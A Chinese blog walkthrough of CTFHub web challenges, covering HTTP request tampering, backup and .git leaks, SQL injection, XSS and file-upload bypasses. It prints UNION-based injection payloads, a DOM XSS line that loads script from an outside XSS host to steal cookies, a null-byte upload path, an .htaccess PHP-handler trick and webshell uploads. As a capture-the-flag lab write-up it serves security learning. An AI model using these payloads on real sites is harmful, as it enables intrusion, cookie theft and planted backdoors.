CTFHUB技能树详解(最全、最细、最易懂)

最近闲的无聊,玩玩CTF吧,并把自己的解题思路分享给大家。大佬多指教。

Web前置技能--HTTP协议

请求方式:

点击连接进入靶场环境

意思就是:http的请求方式是GET,把请求方式换成CTFHUB 就会给你flag。

打开burpsuite 开启拦截,同时刷新你的浏览器界面,bp已成功拦截。

更改请求方式,如下:

Forward 放包,同时浏览器界面已经把flag显示出来了。

302跳转:

看到302就应该知道是用来做临时跳转的,就是你访问一个url时,会跳转到另一个url。

所以这题的思路就是抓包,放包。

点击 Give me Flag,同时Burpsuite 抓包。

把包发送到Repeater模式,Send一下。

Cookie:

首先明白cookie的作用是用来验证用户身份的。

字面意思,只有管理员才能获取到flag。先bp抓个包看一下。

看到了Cookie:admin=0,也就是说不是管理员,admin的状态是0,把他改成1。

放包。浏览器出现flag。

基础认证:

可以看到提供了一个附件。

下载下来,点进去发现是密码字典。那这道题必是让进行密码爆破了。

进入靶场,点击click。

让登录,那就随便输入账户名和密码点击登录,同时bp进行抓包。

如下图:Authentication主要是用来做认证、验证用户身份的。它里面包含了客户端向服务器提供的认证数据。如果我猜得没错,后面那个加密的数据就是我刚才输入的用户名和密码。

解密一下看看。果然是我输入的用户名admin和密码aaa。

既然提供了密码字典,那就开始爆破吧。但要注意一点,那段加密数据解密之后,同时包含了用户名和密码,但是提供的密码字典里只有密码,所以在密码字典里每个密码前面加个admin:。(至于为什么加admin,盲猜网站的管理员用户名是admin,并且大多数情况下也都是admin)。并把用户名和密码的组合进行base64加密。

跑了一下,发现没有跑出来,查了一下资料发现加密后的密文有等号=的,要把等号=删了。这里了解一下base64的加密规则,不够4个字节的用等号=补充,所以把等号删了对结果没有影响,那就删。删完时候把密文随便复制到一个.txt文件中,后面要用到。

把数据包发送到intruder模式,添加变量。

加载密码字典。(把1.txt文件加载进payload)直接开始跑

结果出来了,找status是200的。

响应包源代码:

进来之后发现是空白页面。见到空白页面直接f12审查元素。

信息泄露

目录遍历:

进入靶场

一个一个目录挨个找

PHPINFO:

进入环境之后,点击查看phpinfo,仔细找。

备份文件下载:

网站源码:

这里需要找到网站的备份文件进行下载,网上有很多种方式,有用脚本的,有用扫描器的。

这里我直接盲猜,/www.zip、/web.zip  先试一试。

打开文件发现不对。那就直接访问。

成功拿到flag。

bak文件:

提示flag在首页的源码中,看到标题bak文件,bak文件就是备份文件,所以直接把备份文件下载下来。在url后面直接输入/index.php.bak

vim缓存:

好好看看这句话

vim一旦异常退出就会生成swp文件,且是隐藏文件。隐藏文件要加点,首页也说了flag在index.php源码中   所以  /.index.php.swp 直接下载。

.DS_Store:

DS.Store是Mac里面的隐藏文件,里面是所有文件的清单。所以要把这个文件下载下来。

下载下来之后打开,发现是一些鬼都看不懂的东西。这是Mac中的文件,属于linux系统,用Windows打开当然看不了。

所以把文件复制到Linux系统中,如:kali。cat一下就行了。

之后呢,直接浏览器访问.txt文件。

Git泄露:

Log:

这一关需要用到Git泄露利用工具GitHack。下载地址:mirrors / BugScanTeam / GitHack · GitCode

python2环境和git环境 (网上一搜就有)并且要配置环境变量。

复制url。用cmd命令运行你的GitHack,输入:GitHack.py + 你刚才复制的url + /.git

之后,最下面有个文件,如下图,进入到这个文件中。

进来之后直接 git show,flag出现。

 Stash:

这个和上面的基本相同,就有一点点变化。按着上面的步骤,先进入到10800 那个文件中,然后输入

  1. git stash list

  2. git stash pop

Index:

和上面一摸一样。进入那个文件之后 git show  FLAG就出现了。

SVN泄露:

你们看这个去吧,我不想写了。

CTFHUB技能树(全详细解析含进阶)-CSDN博客

HG泄露:

你们看这个去吧,我懒得写了。

CTFHUB技能树(全详细解析含进阶)-CSDN博客

密码口令

弱口令:

弱口令就是不安全的密码,别人能猜出来。admin / 123456

默认口令:

打开发现是eyou。

直接百度搜索eyou默认账号密码

SQL注入:

整数型注入:

直接上sqlmap吧,觉得自己基础不扎实的多练练手工注入。

查询当前网站使用的数据库

查询数据库里所有的表

查询flag表具体内容

字符型注入:

一样的操作。

报错注入:

直接一句话得了,没必要一句一句跑了

布尔盲注:

时间盲注:

Mysql结构:

这题稍微有点不一样了,但是过程和思路都一样。

Cookie注入:

cookie注入,那就需要抓包拿到cookie。

UA注入:

这道题主要是对数据包的User-Agent头进行注入,用sqlmap的话太慢了,跑的时间太长了,直接手工注入吧

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

拿到表名

根据表名拿字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name ='gppfcericc'

拿具体信息

id=-1 union select 1, etszlbtzyz from sqli.gppfcerice

Refer注入:

和上一题UA注入基本一样。bp抓到数据包之后,发现没有Refer头,那就手动添加。

Referer:-1 union select 1,database()

拿表名 

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

拿字段名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name ='qqzgzuwmaw'

拿具体信息

id=-1 union select 1, qwnaswwvdn from sqli.qqzgzuwmaw

 

过滤空格:

这道题把所有的空格都过滤了,那就把所有的空格全部换成/**/

拿到表名查字段

查具体数据

XSS:

反射型:

找一个xss平台,如:xss.yt.com

注册登录,创建项目,默认模块即可,配置代码,如以下代码。复制

粘贴,Submit。之后复制url粘贴到第二个框里,send。

然后打开刚才的xss平台,在刚才创建的项目里就会出现数据包信息。cookie里有flag

存储型:

和上面的是一样的,存储型就是把恶意代码存储进了数据库,每次查库就会触发恶意代码。

DOM型:

';造成闭合,后面注释掉

DOM跳转:

http://challenge-cb6cf12cc625476a.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("SrC=//xss.yt/dwzq")

过滤空格:

这题会把空格给过滤掉,所以把你代码段里面的所有空格换成 /**/

之后再输入url

过滤关键字: 

和上面一摸一样,把关键字换成大小写

文件上传:

无验证:

没有任何验证,直接上传的后门文件就行。

蚁剑连接

找到flag

前端验证:

文件验证的操作是在前端进行的,所以我们可以抓包修改文件后缀进行绕过。

先把后门文件的后缀改成jpg,上传的同时抓包。

修改这个地方,把后缀再改成php

蚁剑连接,拿到flag

.htaccess:

.htaccess文件的作用 就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析。

AddType application/x-httpd-php .jpg  就是把.jpg文件当作php文件解析。

先创建一个.htaccess后缀的文件

把这个文件上传

然后就可以上传我们的后门文件了,记得把后缀改成.jpg,上传到服务器之后htaccess文件会把他解析成php的。

蚁剑连接

mime绕过:

MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。

上传一个.jpg的木马文件  同时抓包

如果Content-Type不是image/jpeg,记得改一下。

直接蚁剑连接就行了。

00截断:

%00是截断的意思,把后面的内容截断不要了。

先上传一个.jpg后缀的后门文件,抓包

把最上面post请求内容改成这样,send一下,蚁剑直接连接。 

POST /?road=/var/www/html/upload/123.php%00 HTTP/1.1

双写后缀:

上传一个php的后门文件,抓包。

在.php的前面加上pph,组成一个 b.pphphp。当他过滤掉php的时候,刚好p+hp 又组成一个php。

蚁剑连接。

文件头检查:

上传一张.jpg图片,抓包

写入一句话木马,更改后缀。

并添加GIF89a。 GIF89a用来标识图片的文件头。

蚁剑连接。

  • 12
    点赞
  • 82
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值